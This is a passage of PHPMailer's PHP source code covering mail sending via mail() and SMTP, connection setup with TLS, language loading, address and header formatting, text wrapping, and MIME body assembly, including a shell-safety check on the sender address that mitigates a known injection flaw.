!in_array(escapeshellarg($string), array("\'$string\'", "\\"$string\\""))\n        ) {\n            return false;\n        }\n\n        $length = strlen($string);\n\n        for ($i = 0; $i < $length; $i++) {\n            $c = $string[$i];\n\n            // All other characters have a special meaning in at least one common shell, including = and +.\n            // Full stop (.) has a special meaning in cmd.exe, but its impact should be negligible here.\n            // Note that this does permit non-Latin alphanumeric characters based on the current locale.\n            if (!ctype_alnum($c) && strpos(\'@_-.\', $c) === false) {\n                return false;\n            }\n        }\n\n        return true;\n    }\n\n    /**\n     * Check whether a file path is of a permitted type.\n     * Used to reject URLs and phar files from functions that access local file paths,\n     * such as addAttachment.\n     * @param string $path A relative or absolute path to a file.\n     * @return bool\n     */\n    protected static function isPermittedPath($path)\n    {\n        return !preg_match(\'#^[a-z]+://#i\', $path);\n    }\n\n    /**\n     * Send mail using the PHP mail() function.\n     * @param string $header The message headers\n     * @param string $body The message body\n     * @link http://www.php.net/manual/en/book.mail.php\n     * @throws phpmailerException\n     * @access protected\n     * @return boolean\n     */\n    protected function mailSend($header, $body)\n    {\n        $toArr = array();\n        foreach ($this->to as $toaddr) {\n            $toArr[] = $this->addrFormat($toaddr);\n        }\n        $to = implode(\', \', $toArr);\n\n        $params = null;\n        //This sets the SMTP envelope sender which gets turned into a return-path header by the receiver\n        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n            // CVE-2016-10033, CVE-2016-10045: Don\'t pass -f if characters will be escaped.\n            if (self::isShellSafe($this->Sender)) {\n                $params = sprintf(\'-f%s\', $this->Sender);\n            }\n        }\n        if (!empty($this->Sender) and !ini_get(\'safe_mode\') and $this->validateAddress($this->Sender)) {\n            $old_from = ini_get(\'sendmail_from\');\n            ini_set(\'sendmail_from\', $this->Sender);\n        }\n        $result = false;\n        if ($this->SingleTo and count($toArr) > 1) {\n            foreach ($toArr as $toAddr) {\n                $result = $this->mailPassthru($toAddr, $this->Subject, $body, $header, $params);\n                $this->doCallback($result, array($toAddr), $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n            }\n        } else {\n            $result = $this->mailPassthru($to, $this->Subject, $body, $header, $params);\n            $this->doCallback($result, $this->to, $this->cc, $this->bcc, $this->Subject, $body, $this->From);\n        }\n        if (isset($old_from)) {\n            ini_set(\'sendmail_from\', $old_from);\n        }\n        if (!$result) {\n            throw new phpmailerException($this->lang(\'instantiate\'), self::STOP_CRITICAL);\n        }\n        return true;\n    }\n\n    /**\n     * Get an instance to use for SMTP operations.\n     * Override this function to load your own SMTP implementation\n     * @return SMTP\n     */\n    public function getSMTPInstance()\n    {\n        if (!is_object($this->smtp)) {\n            $this->smtp = new SMTP;\n        }\n        return $this->smtp;\n    }\n\n    /**\n     * Send mail via SMTP.\n     * Returns false if there is a bad MAIL FROM, RCPT, or DATA input.\n     * Uses the PHPMailerSMTP class by default.\n     * @see PHPMailer::getSMTPInstance() to use a different class.\n     * @param string $header The message headers\n     * @param string $body The message body\n     * @throws phpmailerException\n     * @uses SMTP\n     * @access protected\n     * @return boolean\n     */\n    protected function smtpSend($header, $body)\n    {\n        $bad_rcpt = array();\n        if (!$this->smtpConnect($this->SMTPOptions)) {\n            throw new phpmailerException($this->lang(\'smtp_connect_failed\'), self::STOP_CRITICAL);\n        }\n        if (!empty($this->Sender) and $this->validateAddress($this->Sender)) {\n            $smtp_from = $this->Sender;\n        } else {\n            $smtp_from = $this->From;\n        }\n        if (!$this->smtp->mail($smtp_from)) {\n            $this->setError($this->lang(\'from_failed\') . $smtp_from . \' : \' . implode(\',\', $this->smtp->getError()));\n            throw new phpmailerException($this->ErrorInfo, self::STOP_CRITICAL);\n        }\n\n        // Attempt to send to all recipients\n        foreach (array($this->to, $this->cc, $this->bcc) as $togroup) {\n            foreach ($togroup as $to) {\n                if (!$this->smtp->recipient($to[0])) {\n                    $error = $this->smtp->getError();\n                    $bad_rcpt[] = array(\'to\' => $to[0], \'error\' => $error[\'detail\']);\n                    $isSent = false;\n                } else {\n                    $isSent = true;\n                }\n                $this->doCallback($isSent, array($to[0]), array(), array(), $this->Subject, $body, $this->From);\n            }\n        }\n\n        // Only send the DATA command if we have viable recipients\n        if ((count($this->all_recipients) > count($bad_rcpt)) and !$this->smtp->data($header . $body)) {\n            throw new phpmailerException($this->lang(\'data_not_accepted\'), self::STOP_CRITICAL);\n        }\n        if ($this->SMTPKeepAlive) {\n            $this->smtp->reset();\n        } else {\n            $this->smtp->quit();\n            $this->smtp->close();\n        }\n        //Create error message for any bad addresses\n        if (count($bad_rcpt) > 0) {\n            $errstr = \'\';\n            foreach ($bad_rcpt as $bad) {\n                $errstr .= $bad[\'to\'] . \': \' . $bad[\'error\'];\n            }\n            throw new phpmailerException(\n                $this->lang(\'recipients_failed\') . $errstr,\n                self::STOP_CONTINUE\n            );\n        }\n        return true;\n    }\n\n    /**\n     * Initiate a connection to an SMTP server.\n     * Returns false if the operation failed.\n     * @param array $options An array of options compatible with stream_context_create()\n     * @uses SMTP\n     * @access public\n     * @throws phpmailerException\n     * @return boolean\n     */\n    public function smtpConnect($options = null)\n    {\n        if (is_null($this->smtp)) {\n            $this->smtp = $this->getSMTPInstance();\n        }\n\n        //If no options are provided, use whatever is set in the instance\n        if (is_null($options)) {\n            $options = $this->SMTPOptions;\n        }\n\n        // Already connected?\n        if ($this->smtp->connected()) {\n            return true;\n        }\n\n        $this->smtp->setTimeout($this->Timeout);\n        $this->smtp->setDebugLevel($this->SMTPDebug);\n        $this->smtp->setDebugOutput($this->Debugoutput);\n        $this->smtp->setVerp($this->do_verp);\n        $hosts = explode(\';\', $this->Host);\n        $lastexception = null;\n\n        foreach ($hosts as $hostentry) {\n            $hostinfo = array();\n            if (!preg_match(\n                \'/^((ssl|tls):\\/\\/)*([a-zA-Z0-9\\.-]*|\\[[a-fA-F0-9:]+\\]):?([0-9]*)$/\',\n                trim($hostentry),\n                $hostinfo\n            )) {\n                // Not a valid host entry\n                $this->edebug(\'Ignoring invalid host: \' . $hostentry);\n                continue;\n            }\n            // $hostinfo[2]: optional ssl or tls prefix\n            // $hostinfo[3]: the hostname\n            // $hostinfo[4]: optional port number\n            // The host string prefix can temporarily override the current setting for SMTPSecure\n            // If it\'s not specified, the default value is used\n            $prefix = \'\';\n            $secure = $this->SMTPSecure;\n            $tls = ($this->SMTPSecure == \'tls\');\n            if (\'ssl\' == $hostinfo[2] or (\'\' == $hostinfo[2] and \'ssl\' == $this->SMTPSecure)) {\n                $prefix = \'ssl://\';\n                $tls = false; // Can\'t have SSL and TLS at the same time\n                $secure = \'ssl\';\n            } elseif ($hostinfo[2] == \'tls\') {\n                $tls = true;\n                // tls doesn\'t use a prefix\n                $secure = \'tls\';\n            }\n            //Do we need the OpenSSL extension?\n            $sslext = defined(\'OPENSSL_ALGO_SHA1\');\n            if (\'tls\' === $secure or \'ssl\' === $secure) {\n                //Check for an OpenSSL constant rather than using extension_loaded, which is sometimes disabled\n                if (!$sslext) {\n                    throw new phpmailerException($this->lang(\'extension_missing\').\'openssl\', self::STOP_CRITICAL);\n                }\n            }\n            $host = $hostinfo[3];\n            $port = $this->Port;\n            $tport = (integer)$hostinfo[4];\n            if ($tport > 0 and $tport < 65536) {\n                $port = $tport;\n            }\n            if ($this->smtp->connect($prefix . $host, $port, $this->Timeout, $options)) {\n                try {\n                    if ($this->Helo) {\n                        $hello = $this->Helo;\n                    } else {\n                        $hello = $this->serverHostname();\n                    }\n                    $this->smtp->hello($hello);\n                    //Automatically enable TLS encryption if:\n                    // * it\'s not disabled\n                    // * we have openssl extension\n                    // * we are not already using SSL\n                    // * the server offers STARTTLS\n                    if ($this->SMTPAutoTLS and $sslext and $secure != \'ssl\' and $this->smtp->getServerExt(\'STARTTLS\')) {\n                        $tls = true;\n                    }\n                    if ($tls) {\n                        if (!$this->smtp->startTLS()) {\n                            throw new phpmailerException($this->lang(\'connect_host\'));\n                        }\n                        // We must resend EHLO after TLS negotiation\n                        $this->smtp->hello($hello);\n                    }\n                    if ($this->SMTPAuth) {\n                        if (!$this->smtp->authenticate(\n                            $this->Username,\n                            $this->Password,\n                            $this->AuthType,\n                            $this->Realm,\n                            $this->Workstation\n                        )\n                        ) {\n                            throw new phpmailerException($this->lang(\'authenticate\'));\n                        }\n                    }\n                    return true;\n                } catch (phpmailerException $exc) {\n                    $lastexception = $exc;\n                    $this->edebug($exc->getMessage());\n                    // We must have connected, but then failed TLS or Auth, so close connection nicely\n                    $this->smtp->quit();\n                }\n            }\n        }\n        // If we get here, all connection attempts have failed, so close connection hard\n        $this->smtp->close();\n        // As we\'ve caught all exceptions, just report whatever the last one was\n        if ($this->exceptions and !is_null($lastexception)) {\n            throw $lastexception;\n        }\n        return false;\n    }\n\n    /**\n     * Close the active SMTP session if one exists.\n     * @return void\n     */\n    public function smtpClose()\n    {\n        if (is_a($this->smtp, \'SMTP\')) {\n            if ($this->smtp->connected()) {\n                $this->smtp->quit();\n                $this->smtp->close();\n            }\n        }\n    }\n\n    /**\n     * Set the language for error messages.\n     * Returns false if it cannot load the language file.\n     * The default language is English.\n     * @param string $langcode ISO 639-1 2-character language code (e.g. French is "fr")\n     * @param string $lang_path Path to the language file directory, with trailing separator (slash)\n     * @return boolean\n     * @access public\n     */\n    public function setLanguage($langcode = \'en\', $lang_path = \'\')\n    {\n        // Backwards compatibility for renamed language codes\n        $renamed_langcodes = array(\n            \'br\' => \'pt_br\',\n            \'cz\' => \'cs\',\n            \'dk\' => \'da\',\n            \'no\' => \'nb\',\n            \'se\' => \'sv\',\n            \'sr\' => \'rs\'\n        );\n\n        if (isset($renamed_langcodes[$langcode])) {\n            $langcode = $renamed_langcodes[$langcode];\n        }\n\n        // Define full set of translatable strings in English\n        $PHPMAILER_LANG = array(\n            \'authenticate\' => \'SMTP Error: Could not authenticate.\',\n            \'connect_host\' => \'SMTP Error: Could not connect to SMTP host.\',\n            \'data_not_accepted\' => \'SMTP Error: data not accepted.\',\n            \'empty_message\' => \'Message body empty\',\n            \'encoding\' => \'Unknown encoding: \',\n            \'execute\' => \'Could not execute: \',\n            \'file_access\' => \'Could not access file: \',\n            \'file_open\' => \'File Error: Could not open file: \',\n            \'from_failed\' => \'The following From address failed: \',\n            \'instantiate\' => \'Could not instantiate mail function.\',\n            \'invalid_address\' => \'Invalid address: \',\n            \'mailer_not_supported\' => \' mailer is not supported.\',\n            \'provide_address\' => \'You must provide at least one recipient email address.\',\n            \'recipients_failed\' => \'SMTP Error: The following recipients failed: \',\n            \'signing\' => \'Signing Error: \',\n            \'smtp_connect_failed\' => \'SMTP connect() failed.\',\n            \'smtp_error\' => \'SMTP server error: \',\n            \'variable_set\' => \'Cannot set or reset variable: \',\n            \'extension_missing\' => \'Extension missing: \'\n        );\n        if (empty($lang_path)) {\n            // Calculate an absolute path so it can work if CWD is not here\n            $lang_path = dirname(__FILE__). DIRECTORY_SEPARATOR . \'language\'. DIRECTORY_SEPARATOR;\n        }\n        //Validate $langcode\n        if (!preg_match(\'/^[a-z]{2}(?:_[a-zA-Z]{2})?$/\', $langcode)) {\n            $langcode = \'en\';\n        }\n        $foundlang = true;\n        $lang_file = $lang_path . \'phpmailer.lang-\' . $langcode . \'.php\';\n        // There is no English translation file\n        if ($langcode != \'en\') {\n            // Make sure language file path is readable\n            if (!self::isPermittedPath($lang_file) or !is_readable($lang_file)) {\n                $foundlang = false;\n            } else {\n                // Overwrite language-specific strings.\n                // This way we\'ll never have missing translation keys.\n                $foundlang = include $lang_file;\n            }\n        }\n        $this->language = $PHPMAILER_LANG;\n        return (boolean)$foundlang; // Returns false if language not found\n    }\n\n    /**\n     * Get the array of strings for the current language.\n     * @return array\n     */\n    public function getTranslations()\n    {\n        return $this->language;\n    }\n\n    /**\n     * Create recipient headers.\n     * @access public\n     * @param string $type\n     * @param array $addr An array of recipient,\n     * where each recipient is a 2-element indexed array with element 0 containing an address\n     * and element 1 containing a name, like:\n     * array(array(\'joe@example.com\', \'Joe User\'), array(\'zoe@example.com\', \'Zoe User\'))\n     * @return string\n     */\n    public function addrAppend($type, $addr)\n    {\n        $addresses = array();\n        foreach ($addr as $address) {\n            $addresses[] = $this->addrFormat($address);\n        }\n        return $type . \': \' . implode(\', \', $addresses) . $this->LE;\n    }\n\n    /**\n     * Format an address for use in a message header.\n     * @access public\n     * @param array $addr A 2-element indexed array, element 0 containing an address, element 1 containing a name\n     *      like array(\'joe@example.com\', \'Joe User\')\n     * @return string\n     */\n    public function addrFormat($addr)\n    {\n        if (empty($addr[1])) { // No name provided\n            return $this->secureHeader($addr[0]);\n        } else {\n            return $this->encodeHeader($this->secureHeader($addr[1]), \'phrase\') . \' <\' . $this->secureHeader(\n                $addr[0]\n            ) . \'>\';\n        }\n    }\n\n    /**\n     * Word-wrap message.\n     * For use with mailers that do not automatically perform wrapping\n     * and for quoted-printable encoded messages.\n     * Original written by philippe.\n     * @param string $message The message to wrap\n     * @param integer $length The line length to wrap to\n     * @param boolean $qp_mode Whether to run in Quoted-Printable mode\n     * @access public\n     * @return string\n     */\n    public function wrapText($message, $length, $qp_mode = false)\n    {\n        if ($qp_mode) {\n            $soft_break = sprintf(\' =%s\', $this->LE);\n        } else {\n            $soft_break = $this->LE;\n        }\n        // If utf-8 encoding is used, we will need to make sure we don\'t\n        // split multibyte characters when we wrap\n        $is_utf8 = (strtolower($this->CharSet) == \'utf-8\');\n        $lelen = strlen($this->LE);\n        $crlflen = strlen(self::CRLF);\n\n        $message = $this->fixEOL($message);\n        //Remove a trailing line break\n        if (substr($message, -$lelen) == $this->LE) {\n            $message = substr($message, 0, -$lelen);\n        }\n\n        //Split message into lines\n        $lines = explode($this->LE, $message);\n        //Message will be rebuilt in here\n        $message = \'\';\n        foreach ($lines as $line) {\n            $words = explode(\' \', $line);\n            $buf = \'\';\n            $firstword = true;\n            foreach ($words as $word) {\n                if ($qp_mode and (strlen($word) > $length)) {\n                    $space_left = $length - strlen($buf) - $crlflen;\n                    if (!$firstword) {\n                        if ($space_left > 20) {\n                            $len = $space_left;\n                            if ($is_utf8) {\n                                $len = $this->utf8CharBoundary($word, $len);\n                            } elseif (substr($word, $len - 1, 1) == \'=\') {\n                                $len--;\n                            } elseif (substr($word, $len - 2, 1) == \'=\') {\n                                $len -= 2;\n                            }\n                            $part = substr($word, 0, $len);\n                            $word = substr($word, $len);\n                            $buf .= \' \' . $part;\n                            $message .= $buf . sprintf(\'=%s\', self::CRLF);\n                        } else {\n                            $message .= $buf . $soft_break;\n                        }\n                        $buf = \'\';\n                    }\n                    while (strlen($word) > 0) {\n                        if ($length <= 0) {\n                            break;\n                        }\n                        $len = $length;\n                        if ($is_utf8) {\n                            $len = $this->utf8CharBoundary($word, $len);\n                        } elseif (substr($word, $len - 1, 1) == \'=\') {\n                            $len--;\n                        } elseif (substr($word, $len - 2, 1) == \'=\') {\n                            $len -= 2;\n                        }\n                        $part = substr($word, 0, $len);\n                        $word = substr($word, $len);\n\n                        if (strlen($word) > 0) {\n                            $message .= $part . sprintf(\'=%s\', self::CRLF);\n                        } else {\n                            $buf = $part;\n                        }\n                    }\n                } else {\n                    $buf_o = $buf;\n                    if (!$firstword) {\n                        $buf .= \' \';\n                    }\n                    $buf .= $word;\n\n                    if (strlen($buf) > $length and $buf_o != \'\') {\n                        $message .= $buf_o . $soft_break;\n                        $buf = $word;\n                    }\n                }\n                $firstword = false;\n            }\n            $message .= $buf . self::CRLF;\n        }\n\n        return $message;\n    }\n\n    /**\n     * Find the last character boundary prior to $maxLength in a utf-8\n     * quoted-printable encoded string.\n     * Original written by Colin Brown.\n     * @access public\n     * @param string $encodedText utf-8 QP text\n     * @param integer $maxLength Find the last character boundary prior to this length\n     * @return integer\n     */\n    public function utf8CharBoundary($encodedText, $maxLength)\n    {\n        $foundSplitPos = false;\n        $lookBack = 3;\n        while (!$foundSplitPos) {\n            $lastChunk = substr($encodedText, $maxLength - $lookBack, $lookBack);\n            $encodedCharPos = strpos($lastChunk, \'=\');\n            if (false !== $encodedCharPos) {\n                // Found start of encoded character byte within $lookBack block.\n                // Check the encoded byte value (the 2 chars after the \'=\')\n                $hex = substr($encodedText, $maxLength - $lookBack + $encodedCharPos + 1, 2);\n                $dec = hexdec($hex);\n                if ($dec < 128) {\n                    // Single byte character.\n                    // If the encoded char was found at pos 0, it will fit\n                    // otherwise reduce maxLength to start of the encoded char\n                    if ($encodedCharPos > 0) {\n                        $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n                    }\n                    $foundSplitPos = true;\n                } elseif ($dec >= 192) {\n                    // First byte of a multi byte character\n                    // Reduce maxLength to split at start of character\n                    $maxLength = $maxLength - ($lookBack - $encodedCharPos);\n                    $foundSplitPos = true;\n                } elseif ($dec < 192) {\n                    // Middle byte of a multi byte character, look further back\n                    $lookBack += 3;\n                }\n            } else {\n                // No encoded character found\n                $foundSplitPos = true;\n            }\n        }\n        return $maxLength;\n    }\n\n    /**\n     * Apply word wrapping to the message body.\n     * Wraps the message body to the number of chars set in the WordWrap property.\n     * You should only do this to plain-text bodies as wrapping HTML tags may break them.\n     * This is called automatically by createBody(), so you don\'t need to call it yourself.\n     * @access public\n     * @return void\n     */\n    public function setWordWrap()\n    {\n        if ($this->WordWrap < 1) {\n            return;\n        }\n\n        switch ($this->message_type) {\n            case \'alt\':\n            case \'alt_inline\':\n            case \'alt_attach\':\n            case \'alt_inline_attach\':\n                $this->AltBody = $this->wrapText($this->AltBody, $this->WordWrap);\n                break;\n            default:\n                $this->Body = $this->wrapText($this->Body, $this->WordWrap);\n                break;\n        }\n    }\n\n    /**\n     * Assemble message headers.\n     * @access public\n     * @return string The assembled headers\n     */\n    public function createHeader()\n    {\n        $result = \'\';\n\n        $result .= $this->headerLine(\'Date\', $this->MessageDate == \'\' ? self::rfcDate() : $this->MessageDate);\n\n        // To be created automatically by mail()\n        if ($this->SingleTo) {\n            if ($this->Mailer != \'mail\') {\n                foreach ($this->to as $toaddr) {\n                    $this->SingleToArray[] = $this->addrFormat($toaddr);\n                }\n            }\n        } else {\n            if (count($this->to) > 0) {\n                if ($this->Mailer != \'mail\') {\n                    $result .= $this->addrAppend(\'To\', $this->to);\n                }\n            } elseif (count($this->cc) == 0) {\n                $result .= $this->headerLine(\'To\', \'undisclosed-recipients:;\');\n            }\n        }\n\n        $result .= $this->addrAppend(\'From\', array(array(trim($this->From), $this->FromName)));\n\n        // sendmail and mail() extract Cc from the header before sending\n        if (count($this->cc) > 0) {\n            $result .= $this->addrAppend(\'Cc\', $this->cc);\n        }\n\n        // sendmail and mail() extract Bcc from the header before sending\n        if ((\n                $this->Mailer == \'sendmail\' or $this->Mailer == \'qmail\' or $this->Mailer == \'mail\'\n            )\n            and count($this->bcc) > 0\n        ) {\n            $result .= $this->addrAppend(\'Bcc\', $this->bcc);\n        }\n\n        if (count($this->ReplyTo) > 0) {\n            $result .= $this->addrAppend(\'Reply-To\', $this->ReplyTo);\n        }\n\n        // mail() sets the subject itself\n        if ($this->Mailer != \'mail\') {\n            $result .= $this->headerLine(\'Subject\', $this->encodeHeader($this->secureHeader($this->Subject)));\n        }\n\n        // Only allow a custom message ID if it conforms to RFC 5322 section 3.6.4\n        // https://tools.ietf.org/html/rfc5322#section-3.6.4\n        if (\'\' != $this->MessageID and preg_match(\'/^<.*@.*>$/\', $this->MessageID)) {\n            $this->lastMessageID = $this->MessageID;\n        } else {\n            $this->lastMessageID = sprintf(\'<%s@%s>\', $this->uniqueid, $this->serverHostname());\n        }\n        $result .= $this->headerLine(\'Message-ID\', $this->lastMessageID);\n        if (!is_null($this->Priority)) {\n            $result .= $this->headerLine(\'X-Priority\', $this->Priority);\n        }\n        if ($this->XMailer == \'\') {\n            $result .= $this->headerLine(\n                \'X-Mailer\',\n                \'PHPMailer \' . $this->Version . \' (https://github.com/PHPMailer/PHPMailer)\'\n            );\n        } else {\n            $myXmailer = trim($this->XMailer);\n            if ($myXmailer) {\n                $result .= $this->headerLine(\'X-Mailer\', $myXmailer);\n            }\n        }\n\n        if ($this->ConfirmReadingTo != \'\') {\n            $result .= $this->headerLine(\'Disposition-Notification-To\', \'<\' . $this->ConfirmReadingTo . \'>\');\n        }\n\n        // Add custom headers\n        foreach ($this->CustomHeader as $header) {\n            $result .= $this->headerLine(\n                trim($header[0]),\n                $this->encodeHeader(trim($header[1]))\n            );\n        }\n        if (!$this->sign_key_file) {\n            $result .= $this->headerLine(\'MIME-Version\', \'1.0\');\n            $result .= $this->getMailMIME();\n        }\n\n        return $result;\n    }\n\n    /**\n     * Get the message MIME type headers.\n     * @access public\n     * @return string\n     */\n    public function getMailMIME()\n    {\n        $result = \'\';\n        $ismultipart = true;\n        switch ($this->message_type) {\n            case \'inline\':\n                $result .= $this->headerLine(\'Content-Type\', \'multipart/related;\');\n                $result .= $this->textLine("\\tboundary=\\"" . $this->boundary[1] . \'"\');\n                break;\n            case \'attach\':\n            case \'inline_attach\':\n            case \'alt_attach\':\n            case \'alt_inline_attach\':\n                $result .= $this->headerLine(\'Content-Type\', \'multipart/mixed;\');\n                $result .= $this->textLine("\\tboundary=\\"" . $this->boundary[1] . \'"\');\n                break;\n            case \'alt\':\n            case \'alt_inline\':\n                $result .= $this->headerLine(\'Content-Type\', \'multipart/alternative;\');\n                $result .= $this->textLine("\\tboundary=\\"" . $this->boundary[1] . \'"\');\n                break;\n            default:\n                // Catches case \'plain\': and case \'\':\n                $result .= $this->textLine(\'Content-Type: \' . $this->ContentType . \'; charset=\' . $this->CharSet);\n                $ismultipart = false;\n                break;\n        }\n        // RFC1341 part 5 says 7bit is assumed if not specified\n        if ($this->Encoding != \'7bit\') {\n            // RFC 2045 section 6.4 says multipart MIME parts may only use 7bit, 8bit or binary CTE\n            if ($ismultipart) {\n                if ($this->Encoding == \'8bit\') {\n                    $result .= $this->headerLine(\'Content-Transfer-Encoding\', \'8bit\');\n                }\n                // The only remaining alternatives are quoted-printable and base64, which are both 7bit compatible\n            } else {\n                $result .= $this->headerLine(\'Content-Transfer-Encoding\', $this->Encoding);\n            }\n        }\n\n        if ($this->Mailer != \'mail\') {\n            $result .= $this->LE;\n        }\n\n        return $result;\n    }\n\n    /**\n     * Returns the whole MIME message.\n     * Includes complete headers and body.\n     * Only valid post preSend().\n     * @see PHPMailer::preSend()\n     * @access public\n     * @return string\n     */\n    public function getSentMIMEMessage()\n    {\n        return rtrim($this->MIMEHeader . $this->mailHeader, "\\n\\r") . self::CRLF . self::CRLF . $this->MIMEBody;\n    }\n\n    /**\n     * Create unique ID\n     * @return string\n     */\n    protected function generateId() {\n        return md5(uniqid(time()));\n    }\n\n    /**\n     * Assemble the message body.\n     * Returns an empty string on failure.\n     * @access public\n     * @throws phpmailerException\n     * @return string The assembled message body\n     */\n    public function createBody()\n    {\n        $body = \'\';\n        //Create unique IDs and preset boundaries\n        $this->uniqueid = $this->generateId();\n        $this->boundary[1] = \'b1_\' . $this->uniqueid;\n        $this->boundary[2] = \'b2_\' . $this->uniqueid;\n        $this->boundary[3] = \'b3_\' . $this->uniqueid;\n\n        if ($this->sign_key_file) {\n            $body .= $this->getMailMIME() . $this->LE;\n        }\n\n        $this->setWordWrap();\n\n        $bodyEncoding = $this->Encoding;\n        $bodyCharSet = $this->CharSet;\n        //Can we do a 7-bit downgrade?\n        if ($bodyEncoding == \'8bit\' and !$this->has8bitChars($this->Body)) {\n            $bodyEncoding = \'7bit\';\n            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n            $bodyCharSet = \'us-ascii\';\n        }\n        //If lines are too long, and we\'re not already using an encoding that will shorten them,\n        //change to quoted-printable transfer encoding for the body part only\n        if (\'base64\' != $this->Encoding and self::hasLineLongerThanMax($this->Body)) {\n            $bodyEncoding = \'quoted-printable\';\n        }\n\n        $altBodyEncoding = $this->Encoding;\n        $altBodyCharSet = $this->CharSet;\n        //Can we do a 7-bit downgrade?\n        if ($altBodyEncoding == \'8bit\' and !$this->has8bitChars($this->AltBody)) {\n            $altBodyEncoding = \'7bit\';\n            //All ISO 8859, Windows codepage and UTF-8 charsets are ascii compatible up to 7-bit\n            $altBodyCharSet = \'us-ascii\';\n        }\n        //If lines are too long, and we\'re not already using an encoding that will shorten them,\n        //change to quoted-printable transfer encoding for the alt body part only\n        if (\'base64\' != $altBodyEncoding and self::hasLineLongerThanMax($this->AltBody)) {\n            $altBodyEncoding = \'quoted-printable\';\n        }\n        //Use this as a preamble in all multipart message types\n        $mimepre = "This is a multi-part message in MIME format." . $this->LE . $this->LE;\n        switch ($this->message_type) {\n            case \'inline\':\n                $body .= $mimepre;\n                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, \'\', $bodyEncoding);\n                $body .= $this->encodeString($this->Body, $bodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->attachAll(\'inline\', $this->boundary[1]);\n                break;\n            case \'attach\':\n                $body .= $mimepre;\n                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, \'\', $bodyEncoding);\n                $body .= $this->encodeString($this->Body, $bodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->attachAll(\'attachment\', $this->boundary[1]);\n                break;\n            case \'inline_attach\':\n                $body .= $mimepre;\n                $body .= $this->textLine(\'--\' . $this->boundary[1]);\n                $body .= $this->headerLine(\'Content-Type\', \'multipart/related;\');\n                $body .= $this->textLine("\\tboundary=\\"" . $this->boundary[2] . \'"\');\n                $body .= $this->LE;\n                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, \'\', $bodyEncoding);\n                $body .= $this->encodeString($this->Body, $bodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->attachAll(\'inline\', $this->boundary[2]);\n                $body .= $this->LE;\n                $body .= $this->attachAll(\'attachment\', $this->boundary[1]);\n                break;\n            case \'alt\':\n                $body .= $mimepre;\n                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, \'text/plain\', $altBodyEncoding);\n                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->getBoundary($this->boundary[1], $bodyCharSet, \'text/html\', $bodyEncoding);\n                $body .= $this->encodeString($this->Body, $bodyEncoding);\n                $body .= $this->LE . $this->LE;\n                if (!empty($this->Ical)) {\n                    $body .= $this->getBoundary($this->boundary[1], \'\', \'text/calendar; method=REQUEST\', \'\');\n                    $body .= $this->encodeString($this->Ical, $this->Encoding);\n                    $body .= $this->LE . $this->LE;\n                }\n                $body .= $this->endBoundary($this->boundary[1]);\n                break;\n            case \'alt_inline\':\n                $body .= $mimepre;\n                $body .= $this->getBoundary($this->boundary[1], $altBodyCharSet, \'text/plain\', $altBodyEncoding);\n                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->textLine(\'--\' . $this->boundary[1]);\n                $body .= $this->headerLine(\'Content-Type\', \'multipart/related;\');\n                $body .= $this->textLine("\\tboundary=\\"" . $this->boundary[2] . \'"\');\n                $body .= $this->LE;\n                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, \'text/html\', $bodyEncoding);\n                $body .= $this->encodeString($this->Body, $bodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->attachAll(\'inline\', $this->boundary[2]);\n                $body .= $this->LE;\n                $body .= $this->endBoundary($this->boundary[1]);\n                break;\n            case \'alt_attach\':\n                $body .= $mimepre;\n                $body .= $this->textLine(\'--\' . $this->boundary[1]);\n                $body .= $this->headerLine(\'Content-Type\', \'multipart/alternative;\');\n                $body .= $this->textLine("\\tboundary=\\"" . $this->boundary[2] . \'"\');\n                $body .= $this->LE;\n                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, \'text/plain\', $altBodyEncoding);\n                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->getBoundary($this->boundary[2], $bodyCharSet, \'text/html\', $bodyEncoding);\n                $body .= $this->encodeString($this->Body, $bodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->endBoundary($this->boundary[2]);\n                $body .= $this->LE;\n                $body .= $this->attachAll(\'attachment\', $this->boundary[1]);\n                break;\n            case \'alt_inline_attach\':\n                $body .= $mimepre;\n                $body .= $this->textLine(\'--\' . $this->boundary[1]);\n                $body .= $this->headerLine(\'Content-Type\', \'multipart/alternative;\');\n                $body .= $this->textLine("\\tboundary=\\"" . $this->boundary[2] . \'"\');\n                $body .= $this->LE;\n                $body .= $this->getBoundary($this->boundary[2], $altBodyCharSet, \'text/plain\', $altBodyEncoding);\n                $body .= $this->encodeString($this->AltBody, $altBodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->textLine(\'--\' . $this->boundary[2]);\n                $body .= $this->headerLine(\'Content-Type\', \'multipart/related;\');\n                $body .= $this->textLine("\\tboundary=\\"" . $this->boundary[3] . \'"\');\n                $body .= $this->LE;\n                $body .= $this->getBoundary($this->boundary[3], $bodyCharSet, \'text/html\', $bodyEncoding);\n                $body .= $this->encodeString($this->Body, $bodyEncoding);\n                $body .= $this->LE . $this->LE;\n                $body .= $this->attachAll(\'inline\', $this->boundary[3]);\n                $body .= $this->LE;\n                $body .= $this->endBoundary($this->boundary[2]);\n                $body .= $this->LE;\n                $body .= $this->attachAll(\'attachment\', $this->boundary[1]);\n                break;\n            default:\n                // Catch case \'plain\' and case \'\', applies to simple `text/plain` and `text/html` body content types\n                //Reset the `Encoding` property in case we changed it for line length reasons\n                $this->Encoding = $bodyEncoding;\n                $body .= $this->encodeString($this->Body, $this->Encoding);\n                break;\n        }\n\n        if ($this->isError()) {\n            $body = \'\';\n        } elseif ($this->sign_key_file) {\n            try {\n                if (!defined(\'PKCS7_TEXT\')) {\n                    throw new 